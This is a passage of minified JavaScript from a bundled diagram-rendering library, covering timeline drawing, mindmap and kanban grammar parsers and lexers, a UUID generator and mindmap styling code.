A=h.node().getBBox();X.debug("bounds",A),d&&h.append("text").text(d).attr("x",A.width/2-a).attr("font-size","4ex").attr("font-weight","bold").attr("y",20),y=S?m+g+150:g+100,h.append("g").attr("class","lineWrapper").append("line").attr("x1",a).attr("y1",y).attr("x2",A.width+3*a).attr("y2",y).attr("stroke-width",4).attr("stroke","black").attr("marker-end","url(#arrowhead)"),ic(void 0,h,i.timeline?.padding??50,i.timeline?.useMaxWidth??!1)},"draw"),D2e=o(function(t,e,r,n,i,a,s,l,u,h,f){for(let d of e){let p={descr:d.task,section:r,number:r,width:150,padding:20,maxHeight:a};X.debug("taskNode",p);let m=t.append("g").attr("class","taskWrapper"),y=ed.drawNode(m,p,r,s).height;if(X.debug("taskHeight after draw",y),m.attr("transform",`translate(${n}, ${i})`),a=Math.max(a,y),d.events){let v=t.append("g").attr("class","lineWrapper"),x=a;i+=100,x=x+ytt(t,d.events,r,n,i,s),i-=100,v.append("line").attr("x1",n+190/2).attr("y1",i+a).attr("x2",n+190/2).attr("y2",i+a+100+u+100).attr("stroke-width",2).attr("stroke","black").attr("marker-end","url(#arrowhead)").attr("stroke-dasharray","5,5")}n=n+200,f&&!s.timeline?.disableMulticolor&&r++}i=i-10},"drawTasks"),ytt=o(function(t,e,r,n,i,a){let s=0,l=i;i=i+100;for(let u of e){let h={descr:u,section:r,number:r,width:150,padding:20,maxHeight:50};X.debug("eventNode",h);let f=t.append("g").attr("class","eventWrapper"),p=ed.drawNode(f,h,r,a).height;s=s+p,f.attr("transform",`translate(${n}, ${i})`),i=i+10+p}return i=l,s},"drawEvents"),L2e={setConf:o(()=>{},"setConf"),draw:gtt}});var vtt,xtt,N2e,M2e=N(()=>{"use strict";eo();vtt=o(t=>{let e="";for(let r=0;r` + .edge { + stroke-width: 3; + } + ${vtt(t)} + .section-root rect, .section-root path, .section-root circle { + fill: ${t.git0}; + } + .section-root text { + fill: ${t.gitBranchLabel0}; + } + .icon-container { + height:100%; + display: flex; + justify-content: center; + align-items: center; + } + .edge { + fill: none; + } + .eventWrapper { + filter: brightness(120%); + } +`,"getStyles"),N2e=xtt});var I2e={};dr(I2e,{diagram:()=>btt});var btt,O2e=N(()=>{"use strict";f2e();k2e();R2e();M2e();btt={db:F$,renderer:L2e,parser:h2e,styles:N2e}});var z$,F2e,$2e=N(()=>{"use strict";z$=(function(){var t=o(function(S,w,k,A){for(k=k||{},A=S.length;A--;k[S[A]]=w);return k},"o"),e=[1,4],r=[1,13],n=[1,12],i=[1,15],a=[1,16],s=[1,20],l=[1,19],u=[6,7,8],h=[1,26],f=[1,24],d=[1,25],p=[6,7,11],m=[1,6,13,15,16,19,22],g=[1,33],y=[1,34],v=[1,6,7,11,13,15,16,19,22],x={trace:o(function(){},"trace"),yy:{},symbols_:{error:2,start:3,mindMap:4,spaceLines:5,SPACELINE:6,NL:7,MINDMAP:8,document:9,stop:10,EOF:11,statement:12,SPACELIST:13,node:14,ICON:15,CLASS:16,nodeWithId:17,nodeWithoutId:18,NODE_DSTART:19,NODE_DESCR:20,NODE_DEND:21,NODE_ID:22,$accept:0,$end:1},terminals_:{2:"error",6:"SPACELINE",7:"NL",8:"MINDMAP",11:"EOF",13:"SPACELIST",15:"ICON",16:"CLASS",19:"NODE_DSTART",20:"NODE_DESCR",21:"NODE_DEND",22:"NODE_ID"},productions_:[0,[3,1],[3,2],[5,1],[5,2],[5,2],[4,2],[4,3],[10,1],[10,1],[10,1],[10,2],[10,2],[9,3],[9,2],[12,2],[12,2],[12,2],[12,1],[12,1],[12,1],[12,1],[12,1],[14,1],[14,1],[18,3],[17,1],[17,4]],performAction:o(function(w,k,A,C,R,I,L){var E=I.length-1;switch(R){case 6:case 7:return C;case 8:C.getLogger().trace("Stop NL ");break;case 9:C.getLogger().trace("Stop EOF ");break;case 11:C.getLogger().trace("Stop NL2 ");break;case 12:C.getLogger().trace("Stop EOF2 ");break;case 15:C.getLogger().info("Node: ",I[E].id),C.addNode(I[E-1].length,I[E].id,I[E].descr,I[E].type);break;case 16:C.getLogger().trace("Icon: ",I[E]),C.decorateNode({icon:I[E]});break;case 17:case 21:C.decorateNode({class:I[E]});break;case 18:C.getLogger().trace("SPACELIST");break;case 19:C.getLogger().trace("Node: ",I[E].id),C.addNode(0,I[E].id,I[E].descr,I[E].type);break;case 20:C.decorateNode({icon:I[E]});break;case 25:C.getLogger().trace("node found ..",I[E-2]),this.$={id:I[E-1],descr:I[E-1],type:C.getType(I[E-2],I[E])};break;case 26:this.$={id:I[E],descr:I[E],type:C.nodeType.DEFAULT};break;case 27:C.getLogger().trace("node found ..",I[E-3]),this.$={id:I[E-3],descr:I[E-1],type:C.getType(I[E-2],I[E])};break}},"anonymous"),table:[{3:1,4:2,5:3,6:[1,5],8:e},{1:[3]},{1:[2,1]},{4:6,6:[1,7],7:[1,8],8:e},{6:r,7:[1,10],9:9,12:11,13:n,14:14,15:i,16:a,17:17,18:18,19:s,22:l},t(u,[2,3]),{1:[2,2]},t(u,[2,4]),t(u,[2,5]),{1:[2,6],6:r,12:21,13:n,14:14,15:i,16:a,17:17,18:18,19:s,22:l},{6:r,9:22,12:11,13:n,14:14,15:i,16:a,17:17,18:18,19:s,22:l},{6:h,7:f,10:23,11:d},t(p,[2,22],{17:17,18:18,14:27,15:[1,28],16:[1,29],19:s,22:l}),t(p,[2,18]),t(p,[2,19]),t(p,[2,20]),t(p,[2,21]),t(p,[2,23]),t(p,[2,24]),t(p,[2,26],{19:[1,30]}),{20:[1,31]},{6:h,7:f,10:32,11:d},{1:[2,7],6:r,12:21,13:n,14:14,15:i,16:a,17:17,18:18,19:s,22:l},t(m,[2,14],{7:g,11:y}),t(v,[2,8]),t(v,[2,9]),t(v,[2,10]),t(p,[2,15]),t(p,[2,16]),t(p,[2,17]),{20:[1,35]},{21:[1,36]},t(m,[2,13],{7:g,11:y}),t(v,[2,11]),t(v,[2,12]),{21:[1,37]},t(p,[2,25]),t(p,[2,27])],defaultActions:{2:[2,1],6:[2,2]},parseError:o(function(w,k){if(k.recoverable)this.trace(w);else{var A=new Error(w);throw A.hash=k,A}},"parseError"),parse:o(function(w){var k=this,A=[0],C=[],R=[null],I=[],L=this.table,E="",D=0,_=0,O=0,M=2,P=1,B=I.slice.call(arguments,1),F=Object.create(this.lexer),G={yy:{}};for(var $ in this.yy)Object.prototype.hasOwnProperty.call(this.yy,$)&&(G.yy[$]=this.yy[$]);F.setInput(w,G.yy),G.yy.lexer=F,G.yy.parser=this,typeof F.yylloc>"u"&&(F.yylloc={});var U=F.yylloc;I.push(U);var j=F.options&&F.options.ranges;typeof G.yy.parseError=="function"?this.parseError=G.yy.parseError:this.parseError=Object.getPrototypeOf(this).parseError;function te(q){A.length=A.length-2*q,R.length=R.length-q,I.length=I.length-q}o(te,"popStack");function Y(){var q;return q=C.pop()||F.lex()||P,typeof q!="number"&&(q instanceof Array&&(C=q,q=C.pop()),q=k.symbols_[q]||q),q}o(Y,"lex");for(var oe,J,ue,re,ee,Z,K={},ae,Q,de,ne;;){if(ue=A[A.length-1],this.defaultActions[ue]?re=this.defaultActions[ue]:((oe===null||typeof oe>"u")&&(oe=Y()),re=L[ue]&&L[ue][oe]),typeof re>"u"||!re.length||!re[0]){var Te="";ne=[];for(ae in L[ue])this.terminals_[ae]&&ae>M&&ne.push("'"+this.terminals_[ae]+"'");F.showPosition?Te="Parse error on line "+(D+1)+`: +`+F.showPosition()+` +Expecting `+ne.join(", ")+", got '"+(this.terminals_[oe]||oe)+"'":Te="Parse error on line "+(D+1)+": Unexpected "+(oe==P?"end of input":"'"+(this.terminals_[oe]||oe)+"'"),this.parseError(Te,{text:F.match,token:this.terminals_[oe]||oe,line:F.yylineno,loc:U,expected:ne})}if(re[0]instanceof Array&&re.length>1)throw new Error("Parse Error: multiple actions possible at state: "+ue+", token: "+oe);switch(re[0]){case 1:A.push(oe),R.push(F.yytext),I.push(F.yylloc),A.push(re[1]),oe=null,J?(oe=J,J=null):(_=F.yyleng,E=F.yytext,D=F.yylineno,U=F.yylloc,O>0&&O--);break;case 2:if(Q=this.productions_[re[1]][1],K.$=R[R.length-Q],K._$={first_line:I[I.length-(Q||1)].first_line,last_line:I[I.length-1].last_line,first_column:I[I.length-(Q||1)].first_column,last_column:I[I.length-1].last_column},j&&(K._$.range=[I[I.length-(Q||1)].range[0],I[I.length-1].range[1]]),Z=this.performAction.apply(K,[E,_,D,G.yy,re[1],R,I].concat(B)),typeof Z<"u")return Z;Q&&(A=A.slice(0,-1*Q*2),R=R.slice(0,-1*Q),I=I.slice(0,-1*Q)),A.push(this.productions_[re[1]][0]),R.push(K.$),I.push(K._$),de=L[A[A.length-2]][A[A.length-1]],A.push(de);break;case 3:return!0}}return!0},"parse")},b=(function(){var S={EOF:1,parseError:o(function(k,A){if(this.yy.parser)this.yy.parser.parseError(k,A);else throw new Error(k)},"parseError"),setInput:o(function(w,k){return this.yy=k||this.yy||{},this._input=w,this._more=this._backtrack=this.done=!1,this.yylineno=this.yyleng=0,this.yytext=this.matched=this.match="",this.conditionStack=["INITIAL"],this.yylloc={first_line:1,first_column:0,last_line:1,last_column:0},this.options.ranges&&(this.yylloc.range=[0,0]),this.offset=0,this},"setInput"),input:o(function(){var w=this._input[0];this.yytext+=w,this.yyleng++,this.offset++,this.match+=w,this.matched+=w;var k=w.match(/(?:\r\n?|\n).*/g);return k?(this.yylineno++,this.yylloc.last_line++):this.yylloc.last_column++,this.options.ranges&&this.yylloc.range[1]++,this._input=this._input.slice(1),w},"input"),unput:o(function(w){var k=w.length,A=w.split(/(?:\r\n?|\n)/g);this._input=w+this._input,this.yytext=this.yytext.substr(0,this.yytext.length-k),this.offset-=k;var C=this.match.split(/(?:\r\n?|\n)/g);this.match=this.match.substr(0,this.match.length-1),this.matched=this.matched.substr(0,this.matched.length-1),A.length-1&&(this.yylineno-=A.length-1);var R=this.yylloc.range;return this.yylloc={first_line:this.yylloc.first_line,last_line:this.yylineno+1,first_column:this.yylloc.first_column,last_column:A?(A.length===C.length?this.yylloc.first_column:0)+C[C.length-A.length].length-A[0].length:this.yylloc.first_column-k},this.options.ranges&&(this.yylloc.range=[R[0],R[0]+this.yyleng-k]),this.yyleng=this.yytext.length,this},"unput"),more:o(function(){return this._more=!0,this},"more"),reject:o(function(){if(this.options.backtrack_lexer)this._backtrack=!0;else return this.parseError("Lexical error on line "+(this.yylineno+1)+`. You can only invoke reject() in the lexer when the lexer is of the backtracking persuasion (options.backtrack_lexer = true). +`+this.showPosition(),{text:"",token:null,line:this.yylineno});return this},"reject"),less:o(function(w){this.unput(this.match.slice(w))},"less"),pastInput:o(function(){var w=this.matched.substr(0,this.matched.length-this.match.length);return(w.length>20?"...":"")+w.substr(-20).replace(/\n/g,"")},"pastInput"),upcomingInput:o(function(){var w=this.match;return w.length<20&&(w+=this._input.substr(0,20-w.length)),(w.substr(0,20)+(w.length>20?"...":"")).replace(/\n/g,"")},"upcomingInput"),showPosition:o(function(){var w=this.pastInput(),k=new Array(w.length+1).join("-");return w+this.upcomingInput()+` +`+k+"^"},"showPosition"),test_match:o(function(w,k){var A,C,R;if(this.options.backtrack_lexer&&(R={yylineno:this.yylineno,yylloc:{first_line:this.yylloc.first_line,last_line:this.last_line,first_column:this.yylloc.first_column,last_column:this.yylloc.last_column},yytext:this.yytext,match:this.match,matches:this.matches,matched:this.matched,yyleng:this.yyleng,offset:this.offset,_more:this._more,_input:this._input,yy:this.yy,conditionStack:this.conditionStack.slice(0),done:this.done},this.options.ranges&&(R.yylloc.range=this.yylloc.range.slice(0))),C=w[0].match(/(?:\r\n?|\n).*/g),C&&(this.yylineno+=C.length),this.yylloc={first_line:this.yylloc.last_line,last_line:this.yylineno+1,first_column:this.yylloc.last_column,last_column:C?C[C.length-1].length-C[C.length-1].match(/\r?\n?/)[0].length:this.yylloc.last_column+w[0].length},this.yytext+=w[0],this.match+=w[0],this.matches=w,this.yyleng=this.yytext.length,this.options.ranges&&(this.yylloc.range=[this.offset,this.offset+=this.yyleng]),this._more=!1,this._backtrack=!1,this._input=this._input.slice(w[0].length),this.matched+=w[0],A=this.performAction.call(this,this.yy,this,k,this.conditionStack[this.conditionStack.length-1]),this.done&&this._input&&(this.done=!1),A)return A;if(this._backtrack){for(var I in R)this[I]=R[I];return!1}return!1},"test_match"),next:o(function(){if(this.done)return this.EOF;this._input||(this.done=!0);var w,k,A,C;this._more||(this.yytext="",this.match="");for(var R=this._currentRules(),I=0;Ik[0].length)){if(k=A,C=I,this.options.backtrack_lexer){if(w=this.test_match(A,R[I]),w!==!1)return w;if(this._backtrack){k=!1;continue}else return!1}else if(!this.options.flex)break}return k?(w=this.test_match(k,R[C]),w!==!1?w:!1):this._input===""?this.EOF:this.parseError("Lexical error on line "+(this.yylineno+1)+`. Unrecognized text. +`+this.showPosition(),{text:"",token:null,line:this.yylineno})},"next"),lex:o(function(){var k=this.next();return k||this.lex()},"lex"),begin:o(function(k){this.conditionStack.push(k)},"begin"),popState:o(function(){var k=this.conditionStack.length-1;return k>0?this.conditionStack.pop():this.conditionStack[0]},"popState"),_currentRules:o(function(){return this.conditionStack.length&&this.conditionStack[this.conditionStack.length-1]?this.conditions[this.conditionStack[this.conditionStack.length-1]].rules:this.conditions.INITIAL.rules},"_currentRules"),topState:o(function(k){return k=this.conditionStack.length-1-Math.abs(k||0),k>=0?this.conditionStack[k]:"INITIAL"},"topState"),pushState:o(function(k){this.begin(k)},"pushState"),stateStackSize:o(function(){return this.conditionStack.length},"stateStackSize"),options:{"case-insensitive":!0},performAction:o(function(k,A,C,R){var I=R;switch(C){case 0:return k.getLogger().trace("Found comment",A.yytext),6;break;case 1:return 8;case 2:this.begin("CLASS");break;case 3:return this.popState(),16;break;case 4:this.popState();break;case 5:k.getLogger().trace("Begin icon"),this.begin("ICON");break;case 6:return k.getLogger().trace("SPACELINE"),6;break;case 7:return 7;case 8:return 15;case 9:k.getLogger().trace("end icon"),this.popState();break;case 10:return k.getLogger().trace("Exploding node"),this.begin("NODE"),19;break;case 11:return k.getLogger().trace("Cloud"),this.begin("NODE"),19;break;case 12:return k.getLogger().trace("Explosion Bang"),this.begin("NODE"),19;break;case 13:return k.getLogger().trace("Cloud Bang"),this.begin("NODE"),19;break;case 14:return this.begin("NODE"),19;break;case 15:return this.begin("NODE"),19;break;case 16:return this.begin("NODE"),19;break;case 17:return this.begin("NODE"),19;break;case 18:return 13;case 19:return 22;case 20:return 11;case 21:this.begin("NSTR2");break;case 22:return"NODE_DESCR";case 23:this.popState();break;case 24:k.getLogger().trace("Starting NSTR"),this.begin("NSTR");break;case 25:return k.getLogger().trace("description:",A.yytext),"NODE_DESCR";break;case 26:this.popState();break;case 27:return this.popState(),k.getLogger().trace("node end ))"),"NODE_DEND";break;case 28:return this.popState(),k.getLogger().trace("node end )"),"NODE_DEND";break;case 29:return this.popState(),k.getLogger().trace("node end ...",A.yytext),"NODE_DEND";break;case 30:return this.popState(),k.getLogger().trace("node end (("),"NODE_DEND";break;case 31:return this.popState(),k.getLogger().trace("node end (-"),"NODE_DEND";break;case 32:return this.popState(),k.getLogger().trace("node end (-"),"NODE_DEND";break;case 33:return this.popState(),k.getLogger().trace("node end (("),"NODE_DEND";break;case 34:return this.popState(),k.getLogger().trace("node end (("),"NODE_DEND";break;case 35:return k.getLogger().trace("Long description:",A.yytext),20;break;case 36:return k.getLogger().trace("Long description:",A.yytext),20;break}},"anonymous"),rules:[/^(?:\s*%%.*)/i,/^(?:mindmap\b)/i,/^(?::::)/i,/^(?:.+)/i,/^(?:\n)/i,/^(?:::icon\()/i,/^(?:[\s]+[\n])/i,/^(?:[\n]+)/i,/^(?:[^\)]+)/i,/^(?:\))/i,/^(?:-\))/i,/^(?:\(-)/i,/^(?:\)\))/i,/^(?:\))/i,/^(?:\(\()/i,/^(?:\{\{)/i,/^(?:\()/i,/^(?:\[)/i,/^(?:[\s]+)/i,/^(?:[^\(\[\n\)\{\}]+)/i,/^(?:$)/i,/^(?:["][`])/i,/^(?:[^`"]+)/i,/^(?:[`]["])/i,/^(?:["])/i,/^(?:[^"]+)/i,/^(?:["])/i,/^(?:[\)]\))/i,/^(?:[\)])/i,/^(?:[\]])/i,/^(?:\}\})/i,/^(?:\(-)/i,/^(?:-\))/i,/^(?:\(\()/i,/^(?:\()/i,/^(?:[^\)\]\(\}]+)/i,/^(?:.+(?!\(\())/i],conditions:{CLASS:{rules:[3,4],inclusive:!1},ICON:{rules:[8,9],inclusive:!1},NSTR2:{rules:[22,23],inclusive:!1},NSTR:{rules:[25,26],inclusive:!1},NODE:{rules:[21,24,27,28,29,30,31,32,33,34,35,36],inclusive:!1},INITIAL:{rules:[0,1,2,5,6,7,10,11,12,13,14,15,16,17,18,19,20],inclusive:!0}}};return S})();x.lexer=b;function T(){this.yy={}}return o(T,"Parser"),T.prototype=x,x.Parser=T,new T})();z$.parser=z$;F2e=z$});function z2e(t,e=0){return(Aa[t[e+0]]+Aa[t[e+1]]+Aa[t[e+2]]+Aa[t[e+3]]+"-"+Aa[t[e+4]]+Aa[t[e+5]]+"-"+Aa[t[e+6]]+Aa[t[e+7]]+"-"+Aa[t[e+8]]+Aa[t[e+9]]+"-"+Aa[t[e+10]]+Aa[t[e+11]]+Aa[t[e+12]]+Aa[t[e+13]]+Aa[t[e+14]]+Aa[t[e+15]]).toLowerCase()}var Aa,G2e=N(()=>{"use strict";Aa=[];for(let t=0;t<256;++t)Aa.push((t+256).toString(16).slice(1));o(z2e,"unsafeStringify")});function V$(){if(!G$){if(typeof crypto>"u"||!crypto.getRandomValues)throw new Error("crypto.getRandomValues() not supported. See https://github.com/uuidjs/uuid#getrandomvalues-not-supported");G$=crypto.getRandomValues.bind(crypto)}return G$(Ett)}var G$,Ett,V2e=N(()=>{"use strict";Ett=new Uint8Array(16);o(V$,"rng")});var Stt,U$,U2e=N(()=>{"use strict";Stt=typeof crypto<"u"&&crypto.randomUUID&&crypto.randomUUID.bind(crypto),U$={randomUUID:Stt}});function Ctt(t,e,r){if(U$.randomUUID&&!e&&!t)return U$.randomUUID();t=t||{};let n=t.random??t.rng?.()??V$();if(n.length<16)throw new Error("Random bytes length must be >= 16");if(n[6]=n[6]&15|64,n[8]=n[8]&63|128,e){if(r=r||0,r<0||r+16>e.length)throw new RangeError(`UUID byte range ${r}:${r+15} is out of buffer bounds`);for(let i=0;i<16;++i)e[r+i]=n[i];return e}return z2e(n)}var H$,H2e=N(()=>{"use strict";U2e();V2e();G2e();o(Ctt,"v4");H$=Ctt});var q2e=N(()=>{"use strict";H2e()});var ch,TC,W2e=N(()=>{"use strict";Xt();q2e();gr();pt();La();qn();ch={DEFAULT:0,NO_BORDER:0,ROUNDED_RECT:1,RECT:2,CIRCLE:3,CLOUD:4,BANG:5,HEXAGON:6},TC=class{constructor(){this.nodes=[];this.count=0;this.elements={};this.getLogger=this.getLogger.bind(this),this.nodeType=ch,this.clear(),this.getType=this.getType.bind(this),this.getElementById=this.getElementById.bind(this),this.getParent=this.getParent.bind(this),this.getMindmap=this.getMindmap.bind(this),this.addNode=this.addNode.bind(this),this.decorateNode=this.decorateNode.bind(this)}static{o(this,"MindmapDB")}clear(){this.nodes=[],this.count=0,this.elements={},this.baseLevel=void 0}getParent(e){for(let r=this.nodes.length-1;r>=0;r--)if(this.nodes[r].level0?this.nodes[0]:null}addNode(e,r,n,i){X.info("addNode",e,r,n,i);let a=!1;this.nodes.length===0?(this.baseLevel=e,e=0,a=!0):this.baseLevel!==void 0&&(e=e-this.baseLevel,a=!1);let s=ge(),l=s.mindmap?.padding??ur.mindmap.padding;switch(i){case this.nodeType.ROUNDED_RECT:case this.nodeType.RECT:case this.nodeType.HEXAGON:l*=2;break}let u={id:this.count++,nodeId:sr(r,s),level:e,descr:sr(n,s),type:i,children:[],width:s.mindmap?.maxNodeWidth??ur.mindmap.maxNodeWidth,padding:l,isRoot:a},h=this.getParent(e);if(h)h.children.push(u),this.nodes.push(u);else if(a)this.nodes.push(u);else throw new Error(`There can be only one root. No parent could be found for ("${u.descr}")`)}getType(e,r){switch(X.debug("In get type",e,r),e){case"[":return this.nodeType.RECT;case"(":return r===")"?this.nodeType.ROUNDED_RECT:this.nodeType.CLOUD;case"((":return this.nodeType.CIRCLE;case")":return this.nodeType.CLOUD;case"))":return this.nodeType.BANG;case"{{":return this.nodeType.HEXAGON;default:return this.nodeType.DEFAULT}}setElementForId(e,r){this.elements[e]=r}getElementById(e){return this.elements[e]}decorateNode(e){if(!e)return;let r=ge(),n=this.nodes[this.nodes.length-1];e.icon&&(n.icon=sr(e.icon,r)),e.class&&(n.class=sr(e.class,r))}type2Str(e){switch(e){case this.nodeType.DEFAULT:return"no-border";case this.nodeType.RECT:return"rect";case this.nodeType.ROUNDED_RECT:return"rounded-rect";case this.nodeType.CIRCLE:return"circle";case this.nodeType.CLOUD:return"cloud";case this.nodeType.BANG:return"bang";case this.nodeType.HEXAGON:return"hexgon";default:return"no-border"}}assignSections(e,r){if(e.level===0?e.section=void 0:e.section=r,e.children)for(let[n,i]of e.children.entries()){let a=e.level===0?n:r;this.assignSections(i,a)}}flattenNodes(e,r){let n=["mindmap-node"];e.isRoot===!0?n.push("section-root","section--1"):e.section!==void 0&&n.push(`section-${e.section}`),e.class&&n.push(e.class);let i=n.join(" "),a=o(l=>{switch(l){case ch.CIRCLE:return"mindmapCircle";case ch.RECT:return"rect";case ch.ROUNDED_RECT:return"rounded";case ch.CLOUD:return"cloud";case ch.BANG:return"bang";case ch.HEXAGON:return"hexagon";case ch.DEFAULT:return"defaultMindmapNode";case ch.NO_BORDER:default:return"rect"}},"getShapeFromType"),s={id:e.id.toString(),domId:"node_"+e.id.toString(),label:e.descr,isGroup:!1,shape:a(e.type),width:e.width,height:e.height??0,padding:e.padding,cssClasses:i,cssStyles:[],look:"default",icon:e.icon,x:e.x,y:e.y,level:e.level,nodeId:e.nodeId,type:e.type,section:e.section};if(r.push(s),e.children)for(let l of e.children)this.flattenNodes(l,r)}generateEdges(e,r){if(e.children)for(let n of e.children){let i="edge";n.section!==void 0&&(i+=` section-edge-${n.section}`);let a=e.level+1;i+=` edge-depth-${a}`;let s={id:`edge_${e.id}_${n.id}`,start:e.id.toString(),end:n.id.toString(),type:"normal",curve:"basis",thickness:"normal",look:"default",classes:i,depth:e.level,section:n.section};r.push(s),this.generateEdges(n,r)}}getData(){let e=this.getMindmap(),r=ge(),i=eV().layout!==void 0,a=r;if(i||(a.layout="cose-bilkent"),!e)return{nodes:[],edges:[],config:a};X.debug("getData: mindmapRoot",e,r),this.assignSections(e);let s=[],l=[];this.flattenNodes(e,s),this.generateEdges(e,l),X.debug(`getData: processed ${s.length} nodes and ${l.length} edges`);let u=new Map;for(let h of s)u.set(h.id,{shape:h.shape,width:h.width,height:h.height,padding:h.padding});return{nodes:s,edges:l,config:a,rootNode:e,markers:["point"],direction:"TB",nodeSpacing:50,rankSpacing:50,shapes:Object.fromEntries(u),type:"mindmap",diagramId:"mindmap-"+H$()}}getLogger(){return X}}});var Att,Y2e,X2e=N(()=>{"use strict";pt();ep();Nf();Mf();La();Att=o(async(t,e,r,n)=>{X.debug(`Rendering mindmap diagram +`+t);let i=n.db,a=i.getData(),s=Vo(e,a.config.securityLevel);a.type=n.type,a.layoutAlgorithm=$c(a.config.layout,{fallback:"cose-bilkent"}),a.diagramId=e,i.getMindmap()&&(a.nodes.forEach(u=>{u.shape==="rounded"?(u.radius=15,u.taper=15,u.stroke="none",u.width=0,u.padding=15):u.shape==="circle"?u.padding=10:u.shape==="rect"&&(u.width=0,u.padding=10)}),await Qo(a,s),Ws(s,a.config.mindmap?.padding??ur.mindmap.padding,"mindmapDiagram",a.config.mindmap?.useMaxWidth??ur.mindmap.useMaxWidth))},"draw"),Y2e={draw:Att}});var _tt,Dtt,j2e,K2e=N(()=>{"use strict";eo();_tt=o(t=>{let e="";for(let r=0;r` + .edge { + stroke-width: 3; + } + ${_tt(t)} + .section-root rect, .section-root path, .section-root circle, .section-root polygon { + fill: ${t.git0}; + } + .section-root text { + fill: ${t.gitBranchLabel0}; + } + .section-root span { + color: ${t.gitBranchLabel0}; + } + .section-2 span { + color: ${t.gitBranchLabel0}; + } + .icon-container { + height:100%; + display: flex; + justify-content: center; + align-items: center; + } + .edge { + fill: none; + } + .mindmap-node-label { + dy: 1em; + alignment-baseline: middle; + text-anchor: middle; + dominant-baseline: middle; + text-align: center; + } +`,"getStyles"),j2e=Dtt});var Q2e={};dr(Q2e,{diagram:()=>Ltt});var Ltt,Z2e=N(()=>{"use strict";$2e();W2e();X2e();K2e();Ltt={get db(){return new TC},renderer:Y2e,parser:F2e,styles:j2e}});var q$,txe,rxe=N(()=>{"use strict";q$=(function(){var t=o(function(A,C,R,I){for(R=R||{},I=A.length;I--;R[A[I]]=C);return R},"o"),e=[1,4],r=[1,13],n=[1,12],i=[1,15],a=[1,16],s=[1,20],l=[1,19],u=[6,7,8],h=[1,26],f=[1,24],d=[1,25],p=[6,7,11],m=[1,31],g=[6,7,11,24],y=[1,6,13,16,17,20,23],v=[1,35],x=[1,36],b=[1,6,7,11,13,16,17,20,23],T=[1,38],S={trace:o(function(){},"trace"),yy:{},symbols_:{error:2,start:3,mindMap:4,spaceLines:5,SPACELINE:6,NL:7,KANBAN:8,document:9,stop:10,EOF:11,statement:12,SPACELIST:13,node:14,shapeData:15,ICON:16,CLASS:17,nodeWithId:18,nodeWithoutId:19,NODE_DSTART:20,NODE_DESCR:21,NODE_DEND:22,NODE_ID:23,SHAPE_DATA:24,$accept:0,$end:1},terminals_:{2:"error",6:"SPACELINE",7:"NL",8:"KANBAN",11:"EOF",13:"SPACELIST",16:"ICON",17:"CLASS",20:"NODE_DSTART",21:"NODE_DESCR",22:"NODE_DEND",23:"NODE_ID",24:"SHAPE_DATA"},productions_:[0,[3,1],[3,2],[5,1],[5,2],[5,2],[4,2],[4,3],[10,1],[10,1],[10,1],[10,2],[10,2],[9,3],[9,2],[12,3],[12,2],[12,2],[12,2],[12,1],[12,2],[12,1],[12,1],[12,1],[12,1],[14,1],[14,1],[19,3],[18,1],[18,4],[15,2],[15,1]],performAction:o(function(C,R,I,L,E,D,_){var O=D.length-1;switch(E){case 6:case 7:return L;case 8:L.getLogger().trace("Stop NL ");break;case 9:L.getLogger().trace("Stop EOF ");break;case 11:L.getLogger().trace("Stop NL2 ");break;case 12:L.getLogger().trace("Stop EOF2 ");break;case 15:L.getLogger().info("Node: ",D[O-1].id),L.addNode(D[O-2].length,D[O-1].id,D[O-1].descr,D[O-1].type,D[O]);break;case 16:L.getLogger().info("Node: ",D[O].id),L.addNode(D[O-1].length,D[O].id,D[O].descr,D[O].type);break;case 17:L.getLogger().trace("Icon: ",D[O]),L.decorateNode({icon:D[O]});break;case 18:case 23:L.decorateNode({class:D[O]});break;case 19:L.getLogger().trace("SPACELIST");break;case 20:L.getLogger().trace("Node: ",D[O-1].id),L.addNode(0,D[O-1].id,D[O-1].descr,D[O-1].type,D[O]);break;case 21:L.getLogger().trace("Node: ",D[O].id),L.addNode(0,D[O].id,D[O].descr,D[O].type);break;case 22:L.decorateNode({icon:D[O]});break;case 27:L.getLogger().trace("node found ..",D[O-2]),this.$={id:D[O-1],descr:D[O-1],type:L.getType(D[O-2],D[O])};break;case 28:this.$={id:D[O],descr:D[O],type:0};break;case 29:L.getLogger().trace("node found ..",D[O-3]),this.$={id:D[O-3],descr:D[O-1],type:L.getType(D[O-2],D[O])};break;case 30:this.$=D[O-1]+D[O];break;case 31:this.$=D[O];break}},"anonymous"),table:[{3:1,4:2,5:3,6:[1,5],8:e},{1:[3]},{1:[2,1]},{4:6,6:[1,7],7:[1,8],8:e},{6:r,7:[1,10],9:9,12:11,13:n,14:14,16:i,17:a,18:17,19:18,20:s,23:l},t(u,[2,3]),{1:[2,2]},t(u,[2,4]),t(u,[2,5]),{1:[2,6],6:r,12:21,13:n,14:14,16:i,17:a,18:17,19:18,20:s,23:l},{6:r,9:22,12:11,13:n,14:14,16:i,17:a,18:17,19:18,20:s,23:l},{6:h,7:f,10:23,11:d},t(p,[2,24],{18:17,19:18,14:27,16:[1,28],17:[1,29],20:s,23:l}),t(p,[2,19]),t(p,[2,21],{15:30,24:m}),t(p,[2,22]),t(p,[2,23]),t(g,[2,25]),t(g,[2,26]),t(g,[2,28],{20:[1,32]}),{21:[1,33]},{6:h,7:f,10:34,11:d},{1:[2,7],6:r,12:21,13:n,14:14,16:i,17:a,18:17,19:18,20:s,23:l},t(y,[2,14],{7:v,11:x}),t(b,[2,8]),t(b,[2,9]),t(b,[2,10]),t(p,[2,16],{15:37,24:m}),t(p,[2,17]),t(p,[2,18]),t(p,[2,20],{24:T}),t(g,[2,31]),{21:[1,39]},{22:[1,40]},t(y,[2,13],{7:v,11:x}),t(b,[2,11]),t(b,[2,12]),t(p,[2,15],{24:T}),t(g,[2,30]),{22:[1,41]},t(g,[2,27]),t(g,[2,29])],defaultActions:{2:[2,1],6:[2,2]},parseError:o(function(C,R){if(R.recoverable)this.trace(C);else{var I=new Error(C);throw I.hash=R,I}},"parseError"),parse:o(function(C){var R=this,I=[0],L=[],E=[null],D=[],_=this.table,O="",M=0,P=0,B=0,F=2,G=1,$=D.slice.call(arguments,1),U=Object.create(this.lexer),j={yy:{}};for(var te in this.yy)Object.prototype.hasOwnProperty.call(this.yy,te)&&(j.yy[te]=this.yy[te]);U.setInput(C,j.yy),j.yy.lexer=U,j.yy.parser=this,typeof U.yylloc>"u"&&(U.yylloc={});var Y=U.yylloc;D.push(Y);var oe=U.options&&U.options.ranges;typeof j.yy.parseError=="function"?this.parseError=j.yy.parseError:this.parseError=Object.getPrototypeOf(this).parseError;function 